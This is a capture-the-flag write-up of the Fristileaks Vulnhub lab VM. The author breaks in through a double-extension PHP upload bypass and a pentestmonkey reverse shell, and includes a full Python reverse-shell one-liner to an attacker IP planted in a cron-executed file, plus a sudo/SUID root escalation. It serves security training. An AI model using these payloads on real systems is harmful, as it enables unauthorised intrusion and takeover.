Fristileaks Vulnhub Writeup

'Fristileaks' is the first of my efforts to exploit Vulnhub.com machines as part of my OSCP preparations.

Fristileaks Vulnhub writeup by leomccavana.com

I needed some additional machines to help fine tune my methodology to do things as 'surgically' as possible without getting stuck down pointless rabbit holes. I love reading the stuff from abatchy and I decided to get stuck into their recommendations for 'OSCP-like Vulnhub VMs'.

I like to go into lots of (hopefully) useful detail in a progressive manner, starting with an overview and then getting more into the nuts and bolts. Such an approach helps me explain the logic behind my thinking as opposed to just assuming that the reader (and writer!) already 'gets it' if I just throw out a bunch of commands.

Note:

This is a deep-dive article. While it is encouraged that you read it from beginning to end, you might wish to work your way through the content over a couple of sessions. To help you pick up from where you left off, use the Quick Locator.

Anyhow … On with the show.

Initial Recon

Step 0: Target Discovery

First, let's see if we can find the IP address for Fristileaks via 'netdiscover'

Fristileaks Writeup - by leomccavana.com - Step 0 - Target Discovery
Fristileaks Writeup - Step 0 - Target Discovery

Since I know that 10.10.10.1 is a DHCP server in my VirtualBox Lab, that just leaves 10.10.10.2. Now we can do a basic service discovery scan..

Step 1: Service Discovery (basic TCP port scan)

An 'all ports' TCP scan (-p-) is kicked off in nmap to see what is open. Since we are in an isolated CTF scenario and not worried about a Blue Team snooping on us, we can up the scan timing to T4 without compromising accuracy. Results are output in all formats (-oA) using 'fristiOpenTCP' as our file stem.

Fristileaks Vulnhub Writeup - recon - `nmap all TCP ports` scan
Fristileaks Vulnhub Writeup - recon - nmap all TCP ports scans

So … only 1 TCP port. It may be necessary to do a UDP port scan later if we don't get much success with TCP port 80.

Step 2: Agressive Port Scan

Normally for an aggressive (-A) nmap scan to yield any quality results, you need to have several ports open. While we could use something link the http-enum NSE script since it looks like just webserver, we'll persist with the '-A' option to see what it gets us. Besides, the '-A' scan config will perform the http-enum duties anyhow. Obviously an 'aggressive' scan will take more time to complete, but it isn't really a problem when scanning a single port on a single target.

Fristileaks Vulnhub writeup - by leomccavana.com - agressive nmap port scan
Fristileaks Vulnhub writeup - agressive nmap port scan

So ... what have we really got?:

  • An Apache web server (version 2.2.15)
  • It's running PHP 5.3.3
  • A linux box with a Kernel level between 2.6.32 and either 3.10 or 3.13, specifically using a CentOS version of Linux
  • Some interesting folders revealed from the 'robots.txt' file: cola, sisi, beer. These need to be followed up.
  • 'DAV ' … is this a reference to 'webdav' that would allow us to upload files? We'll keep that for later.
  • On a general note - version numbers are kept handy for later - perhaps we might find some suitable exploits to match.

Web Recon

Step 0: Initial web root review

In a web browser, we specify the IP address and we are presented with a basic web page. A humorous piece of advice. 'Fristi' appears twice … potentially useful.

Fristileaks Vulnhub Writeup - by leomccavana.com - web recon front image
Fristileaks Vulnhub Writeup - web recon front image

Looking at the HTML source doesn't reveal anything particularly useful either … apart from some instructions/advice.

Stapler Vulnhub Writeup - by leomccavana.com - web recon `view source`
Fristileaks Vulnhub Writeup - web recon view source

Step 1: Review resources from robots.txt

First we try 'cola' … nothing other than a Star Wars joke.

Fristileaks Vulnhub Writeup - by leomccavana.com - Web Recon - Cola Folder
Fristileaks Vulnhub Writeup - Web Recon - Cola Folder

There is an images sub-folder referred to in what passes for html source:

Fristileaks Vulnhub Writeup - by leomccavana.com - Web Recon - images folder
Fristileaks Vulnhub Writeup - Web Recon - images folder

The file name …. 3037440. Nothing obvious here than perhaps an attempt at 'leet speak' :-).

Checking for any directory listings available only confirms what we have already accessed.

Fristileaks Vulnhub Writeup - by leomccavana.com - Web Recon - Directory Listing
Fristileaks Vulnhub Writeup - Web Recon - Directory Listing

So … to be extra cautions the graphics are saved locally and the exif data is inspected by using the 'identify' tool that is part of 'ImageMagik'. ImageMagik should be already installed in most Linux distributions (it is on Kali). Of course you could always use something else such as 'exiftool' if preferred.

Running the 'identify' tool in 'verbose' mode, grepping for 'exif:' reveals nothing

Fristileaks Vulnhub Writeup - by leomccavana.com - Web Recon - Using imageMagik identify to find exif data
Fristileaks Vulnhub Writeup - Web Recon - Using imageMagik identify to find exif data

So …. just to be sure, I chop off the grep to see if anything else looks useful …. Nothing. Worth a check for completeness though. There's a lot of data, hence why just a snippet is shown below:

Fristileaks Vulnhub Writeup - by leomccavana.com - Web Recon - Image Exif Data
Fristileaks Vulnhub Writeup - Web Recon - Image Exif Data

Moving on to the next entry in the 'robots.txt' file …. 'beer'. It turns up the same result. The last of the three, 'sisi' produces the same result. Now we need to move on some web resource brute forcing.

Step 2: Web Resource Brute Forcing

For this task, two of the most popular tools are 'dirb' and 'gobuster' - pick whichever suits you, but for this writeup, I'll be using dirb as follows:

dirb http://10.10.10.2 -o dirbFristiRoot.txt
By default the tool uses a 'common.txt' wordlist, but you can substitute that with whatever list you prefer. Generally, it is good to start with 'common' in the interests of speed.

Fristileaks Vulnhub Writeup - by leomccavana.com - Web Recon - Finding Directories with `dirb`
Fristileaks Vulnhub Writeup - Web Recon - Finding Directories with `dirb`

Results are returned for just three resources: /cgi-bin, index.html and robots.txt … Nothing much to go on.

Another option is to try bigger word lists (which will take more time). But remember, this is supposed to be completed in 4 hours, so time to step back and think creatively by going back to the root page. Perhaps 'fristi' or 'fristileaks' may be worth a try. It works!

Fristileaks Vulnhub Writeup - by leomccavana.com - Web Recon - admin portal found with `dirb`
Fristileaks Vulnhub Writeup - Web Recon - admin portal found with `dirb`

Happy Days... we get a login page. So, there is a Simpsons theme here. A few variations on admin:password are tried. All to no avail. A few favourite SQL injection strings are tried too, but don't work. For instance:

Somebody'; or 1=1 LIMIT 1; #

Before I wheel out sqlmap (something I want to avoid as it isn't allowed in the OSCP exam apparently) or a brute force attack on the creds, I opt to view the html source again. Three interesting pieces of information are visible:

  • Reference to 'eezeepz' - a potential username
Fristileaks Vulnhub Writeup - by leomccavana.com - web recon - eezeepz username
Fristileaks Vulnhub Writeup - web recon - eezeepz username
  • The image in the web page is really a base64 blob.
Fristileaks Vulnhub Writeup - by leomccavana.com - Web Recon - Base64 Data in HTML Comments
Fristileaks Vulnhub Writeup - Web Recon - Base64 Data in HTML Comments
  • A commented out section of what appears to be more base64 encoded data is visible.
Fristileaks Vulnhub Writeup - by leomccavana.com - Web Recon - More Base 64 image data
Fristileaks Vulnhub Writeup - Web Recon - More Base 64 image data

From prior experience, the first bunch of characters are really a signature of a PNG file. The data is copied/pasted into Burp decoder and evidence points towards the data really being a PNG file.

Fristileaks Vulnhub Writeup - by leomccavana.com - web recon - PNG data confirmed
Fristileaks Vulnhub Writeup - web recon - PNG data confirmed

So ... out of curiosity (necessity?), a really quick and dirty python script was developed to read the base64 data ('image.txt'), decode it, and then write it out to a binary (PNG) file. Yes, I know you could do this as a bash 'one-liner', but it is good to know alternative ways of doing things.

import base64
input_file = open('image.txt', 'rb')
coded_string = input_file.read()
decoded = base64.b64decode(coded_string)
output_file = open('output.png', 'wb')
output_file.write(decoded)
output_file.close()

Note the emphasis on 'rb' (ready binary) and 'wb' (write binary), as we are not dealing with ASCII text. The script is made executable (chmod +x) and executed, resulting in a png file called 'output.png'. When the file is opened, we get this:

Fristileaks Vulnhub Writeup - by leomccavana.com - web recon - reconstructed PNG file
Fristileaks Vulnhub Writeup - web recon - reconstructed PNG file

Ok …. Perhaps not the greatest potential password, but sometimes you have to try things that appear to be too easy. The above is used as the password, along with 'eezeepz' as the username.

Fristileaks Vulnhub Writeup - by leomccavana.com - web recon - logging into admin panel
Fristileaks Vulnhub Writeup - web recon - logging into admin panel

And it worked! We are now able to proceed to a page to upload files.

💡
A sidebar recommendation ... The 'password' box is really just a text box - much easier spotted from shoulder surfing etc! :-). Much better to use the 'password' form component so as to not educate 'shoulder surfers'.
Fristileaks Vulnhub Writeup - by leomccavana.com - web recon - successful admin login
Fristileaks Vulnhub Writeup - web recon - successful admin login

Web Exploitation - File Uploading

At this point, the aim is to upload a file, which when accessed from a browser will create a reverse shell back to an attacking box.

Step 0: Create a proof of concept PHP script

The following simple phpinfo script is created:

<?php
   // Show all information, defaults to INFO_ALL
   phpinfo();
?>

An attempt is made to upload the file … it fails.

Fristileaks Vulnhub Writeup - by leomccavana.com - web exploitation - PHP file upload failed
Fristileaks Vulnhub Writeup - web exploitation - PHP file upload failed

Some sort of whitelisting is potentially happening, but it is only good enough to keep lazy tyre-kickers away. An attempt is made to use a double extension - the file name now becomes phpinifo.php.png and it appears to work:

Fristileaks Vulnhub Writeup - by leomccavana.com - web exploitation - double-extension file upload works
Fristileaks Vulnhub Writeup - web exploitation - double-extension file upload works

Let's see if the file will actually get executed as a php file though …

The onscreen feedback refers to the /uploads folder. Thinking that this was at the server root, it resulted in a HTTP 404. So, when 10.10.10.2/fristi/uploads/phpinfo.php.png was specified, it worked! So … aside from a good 'proof of concept', it can also provide some useful background detail that might prove useful later.

Fristileaks Vulnhub Writeup - by leomccavana.com - web exploitation - PHP file upload working
Fristileaks Vulnhub Writeup - web exploitation - PHP file upload working

Step 1: PHP Reverse Shell Script modification

Although meterpreter is convenient and powerful, let's avoid it for now. If this were an OSCP exam scenario, you really wouldn't want to waste your only metasploit/meterpreter this early in the game. Let's see if we can keep things simple.

As an alternative, a decision is made to use the excellent php-reverse-shell.php script from pentestmonkey. Their site appears to be no longer available, but you can still find what you need on their github repo. It needs a bit of customisation on two points - the IP address and the port number. Also observe the fact that the file was given the double-extension to make it past the 'secure' server side controls.

Fristileaks Vulnhub Writeup - by leomccavana.com - exploitation - php reverse shell prep
Fristileaks Vulnhub Writeup - exploitation - php reverse shell prep

Step 2: Establish a netcat listener

Netcat is setup to listen on port 5555. The 'v' (verbose) switch is used as a personal preference.

Fristileaks Vulnhub Writeup - by leomccavana.com - exploitation - setting up netcat listener for php reverse shell
Fristileaks Vulnhub Writeup - setting up netcat listener for php reverse shell

Step 3: Upload the php reverse shell

Just follow the on-screen controls … no trickery needed.

Step 4: Execute the php reverse shell

By navigating to http://10.10.10.2/fristi/uploads/php-reverse-shell.php.png we get a shell!

Fristileaks Vulnhub Writeup - by leomccavana.com - exploitation - php reverse shell working
Fristileaks Vulnhub Writeup - exploitation - php reverse shell working

Time to dive into privilege escalation or 'privesc'

PrivEsc Overview

Step 0: Some initial situational awareness

Now that we have a basic shell, we want to know a few things:

  • Where are we? ( we already know how we got there with the file upload trick)
  • What do we have and what can we do with that info ?. In other words, what privileges do we have and what other information is available to us such as operating system details/
  • Where do we want to go and what do we need to get there? For example, can we access resources that would lead us to gaining 'root'

Straight off, just by viewing the data in the shell (courtesy of the php-reverse-shell script), we can tell the following:

  • Linux Kernel Details: Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
  • UID: Running as apache privs (no surprise)

The 'pwd' (print working directory) command reveals that we are at the server root ('/'). Time to go back to the web folder for the file uploads - i.e. where our exploitation began. You can get the full path by examining the phpinfo.php file created earlier in the browser and adding on '/fristi/uploads'.

Fristileaks Vulnhub Writeup - by leomccavana.com - privesc - running pwd
Fristileaks Vulnhub Writeup - privesc - running pwd

Aside from an index.html page (that says 'no!'), the only other files visible are those uploaded in previous experiments (not documented) by the author to prepare this writeup.

Step 1: Reviewing the app login facility

Finding nothing of interest, traversing back a folder (cd ..) reveals a number of php files and some 'b64' (base64) files.

Fristileaks Vulnhub Writeup - by leomccavana.com - privesc - base 64 files found
Fristileaks Vulnhub Writeup - privesc - base 64 files found

The application has a login, so the most interesting is the 'checklogin.php' page. The file contents are reviewed with cat:

Fristileaks Vulnhub Writeup - by leomccavana.com - privesc - eezeepz creds in checklogin.php
Fristileaks Vulnhub Writeup - privesc - eezeepz creds in checklogin.php

This is extremely interesting ... with a local shell, it would be possible to log into the MySQL instance. The running processes are reviewed, with a grep for mysql.

Fristileaks Vulnhub Writeup - by leomccavana.com - privesc - running processes examined for mysql info
Fristileaks Vulnhub Writeup - privesc - running processes examined for mysql info

Step 2: Exploring the file system a little more for anything obvious

We're not talking about exploiring the ENTIRE file system ... that can be kept for later. Moreso, there may be more interesting details at /var/www/html/. There's nothing new in the beer, cola or sisi folders, or indeed at the root of 'html'.

Fristileaks Vulnhub Writeup - by leomccavana.com - privesc - www root folder inspected
Fristileaks Vulnhub Writeup - privesc - www root folder inspected

Stepping back to /var/www:

Fristileaks Vulnhub Writeup - by leomccavana.com - privesc - /var/www inspected
Fristileaks Vulnhub Writeup - privesc - /var/www inspected

The 'notes.txt' file is examined ...

Fristileaks Vulnhub Writeup - by leomccavana.com - privesc - notes.txt file inspected
Fristileaks Vulnhub Writeup - privesc - notes.txt file inspected

So ... a pointer to check out what would be /home/eezeepz. In the '/home' folder, we can see 3 usernames admin, eezeepz and fristigod.

Fristileaks Vulnhub Writeup - by leomccavana.com - privesc - home folders inspected
Fristileaks Vulnhub Writeup - privesc - home folders inspected

First we try eezeepz. There is a LOT of stuff in here … a lot of binaries, some settings, and '.OLD' folder and also a 'notes.txt'. A few checks are made. Nothing in the .Old Folder:

Fristileaks Vulnhub Writeup - by leomccavana.com - privesc - .Old folder in home folder
Fristileaks Vulnhub Writeup - privesc - .Old folder in home folder

Same story for '.settings' (not illustrated)

Looking at the .bash_profile file reveals why the home directory is so messy … the PATH contains an interesting entry - the bin folder is in their home path, suggesting that the user is confined to a jail. This is a very common scenario on web hosting accounts designed for developers who have SSH access but are only able to use a small number of Linux apps:

Fristileaks Vulnhub Writeup - by leomccavana.com - privesc - .bash_profile for eezeepz inspected
Fristileaks Vulnhub Writeup - privesc - .bash_profile for eezeepz inspected

Finally, the 'notes.txt' file sitting inside the home folder is examined:

Fristileaks Vulnhub Writeup - by leomccavana.com - privesc - notes.txt file inspected in eezeepz home folder
Fristileaks Vulnhub Writeup - privesc - notes.txt file inspected in eezeepz home folder

This is REALLY interesting ... the evidence suggests there is a cronjob running periodically that takes whatever is specified in the runthis file, and executes it with higher privs.

Step 3: Automated Enumeration with LinEnum

It could be too easy to disappear down a rabbit hole for several hours (remember …. the clock is ticking towards 4 hours) only to come up with nothing but wasted effort. So, to be more precise, a copy of LinEnum is transferred to the tmp folder via wget and is executed (making sure to run chmod +x against the file to ensure it is executable). While an attacking box may have a web erver running, a python web server can be spun up in a given folder:

python -m SimpleHTTPServer 

By default, the above will start a web server on port 8000.

Once LinEnum is downloaded via wget from the python web server, it is made executable (chmod +x linenum.sh) and then executed. The report contains a lot of detail, so a summary is presented below.

  • Confirmation that the linux distribution is CentOS release 6.7 (Final)
  • Everything within /home/eezeepz/ is world-readable (we SORT of suspected this but didn't verify)
  • SELinux is disabled - so that means that a lot of protection controls are not activated. Perhaps a nice kernel level exploit might work!
  • Software installed (useful for potential privesc routes)
    • Sudo 1.8.6p3
    • mysql ver 14.14 Distrib 5.1.73, for redhat-linux-gnu (x86_64)
    • gcc - very handy if there is a need to compile any C exploits).
    • Nothing really interesting for SUID files. There is a HUGE caveat to this which we will come back to later!

Step 4: Moving forward:

A few summary notes:

  • The 'runthis' / cronjob mechanism run by the 'admin' user looks to be the most promising
  • Let's not forget that there is a fairly old kernel in play here - worthy follow-up if the first item doesn't work out.

Privesc (Deep Dive)

Revisiting the 'notes.txt' from /home/eezpeez, we should be able to write a command to '/tmp/runthis' and this will get executed in the context of the 'admin' user, once a cronjob runs every minute. That’s the theory anyhow.

Step 0: Creating a 'runthis' file

The pentestmonkey resources are really useful, especially the 'reverse shell one-liners'. The python variant is customized with the IP for the attacking machine and the TCP port 4444.

💡
Note: While 4444 is not very stealthy in a Red Team operation, there's no Blue Team knocking around or any local endpoint protections.

/usr/bin/python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.10.3",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

The script was saved as 'runthis' (no .py extension), and a wget command was issued from the victim box to download a copy of the file to the /tmp folder. As before, a quick python web server is very handy for file transfer.

Step 1: Set up a netcat listener on the attacking box

nc -nlvp 4444

Step 2: Wait for the cronjob to kick in ...

Within a minute, a shell is returned as the 'admin' user. The files in the current directory are listed out, and an attempt is made to view the contents of /etc/shadow, but it fails. A clear indicator that root privs have not been obtained ... yet.

Fristileaks Vulnhub Writeup - by leomccavana.com - privesc - admin user does not have root privs
Fristileaks Vulnhub Writeup - privesc - admin user does not have root privs

Step 3: Digging in to what we've got

The first port of call in the new shell is the .bash_history. Nothing here, aside from a few commands already put in from some quick experiments.

The 'cronjob.py' file is exactly that ... a script called by the cronjob that helped us to become the 'admin' user. Of specific interest are the following (output.txt was generated intentionally in an undocumented experiment):

  • cryptedpass.txt
  • cryptpass.py
  • whoisyourgodnow.txt

Looking at whoisyourgodnow.txt we get =RFn0AKnlMHMPIzpyuTI0ITG. So this looks like a base64 string in reverse.

Looking at the cryptpass.py script, it looks like a clear text string is converted to base64, the character order is being reversed and then encoded via Rot13.

Fristileaks Vulnhub Writeup - by leomccavana.com - privesc - cryptpass.py script reviewed
Fristileaks Vulnhub Writeup - privesc - cryptpass.py script reviewed

Let's work in reverse. First of all … a shoutout to the good folks on Stackoverflow who came up with the following code to create a rot13 alias:

alias rot13="tr 'A-Za-z' 'N-ZA-Mn-za-m'"

The rev keyword can also reverse the character order of a string. Putting both elements together with pipes we get:

cat whoisyourgodnow.txt | rev | rot13 | base64 -d

When run, we get the following result: LetThereBeFristi!

The same is repeated for the contents of 'cryptedpass.txt': Thisisalsopw123

So … now we have 2 passwords. Purely on naming conventions, we assume that LetThereBeFristi! is specific to the user fristigod. So let's try jumping to that user ... and it works.

Fristileaks Vulnhub Writeup - by leomccavana.com - privesc - successful fristigod login
Fristileaks Vulnhub Writeup - privesc - successful fristigod login

Step 4: What can we do with 'fristigod'?

Switching into /home/fristigod and performing an ls doesn't reveal a great deal:

Fristileaks Vulnhub Writeup - by leomccavana.com - privesc - inspecting /home/fristigod folder
Fristileaks Vulnhub Writeup - privesc - inspecting /home/fristigod folder

So … let's see if this user has any sudo related privs:

Fristileaks Vulnhub Writeup - by leomccavana.com - privesc - fristigod has sudo privs
Fristileaks Vulnhub Writeup - privesc - fristigod has sudo privs

So … a reference to a file call doCom, and per further examination, it is a SUID binary. That's very interesting. If you recall from the use of LinEnum.sh, this didn't come up on our radar at all, primarily because the 'apache' user didn't have access to that folder.

Fristileaks Vulnhub Writeup - by leomccavana.com - privesc - doCom has SUID binary privs
Fristileaks Vulnhub Writeup - privesc - doCom has SUID binary privs

So ... a lesson learned.

💡
Note: It pays to revisit enumeration checks when you migrate to another user who may have higher privs (i.e. from apache > admin > fristigod

Step 5: Going for the kill with the SUID binary

Even though we are 'fristigod', we have to run the sudo command in the context of user 'fristi'. As a reasonably informed guess, 'doCom' probably means 'do command'. So …. On that basis, let's opt for '/bin/bash'

One other point ... before going any further, make sure you are in a tty shell, otherwise running sudo type commands probably won't work. The following command should work fine (a neat trick I found here).

python -c 'import pty; pty.spawn("/bin/sh")'

Our command to run the sudo command now looks like:

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

And the result is (drum roll …):

Fristileaks Vulnhub Writeup - by leomccavana.com - privesc - successfully gained root via doCom SUID binary
Fristileaks Vulnhub Writeup - privesc - successfully gained root via doCom SUID binary

Happy days ... we have successfully gained root! :-) Now all that remains is to capture the flag

Fristileaks Vulnhub Writeup - by leomccavana.com - privesc - we have root
Fristileaks Vulnhub Writeup - privesc - we have root
💡
Note: If this were part of the OSCP labs or exam, your final screenshot should show the hostname, the id and whoami command output prooving you are root, the output of the ifconfig command and the contents of any required flags.

Conclusion

All in all, just under 4 hours was spent on this machine over 2 days. Actually, more time was probably spent on doing the actual writeup. This was a nice way to dip my toes into all things Vulnhub as I prepare for my OSCP exam. I've probably been a lot more detailed than I originally planned - but hopefully it will serve its purpose well for newcomers who want to play along and need more supporting details.

Finally, many thanks to the folks at vulnhub.com for such a wonderful resource and also to @Ar0xA for creating a really nice VM.

I'd be grateful for your feedback/comments/suggestions. You can find me on twitter: @jckhmr_t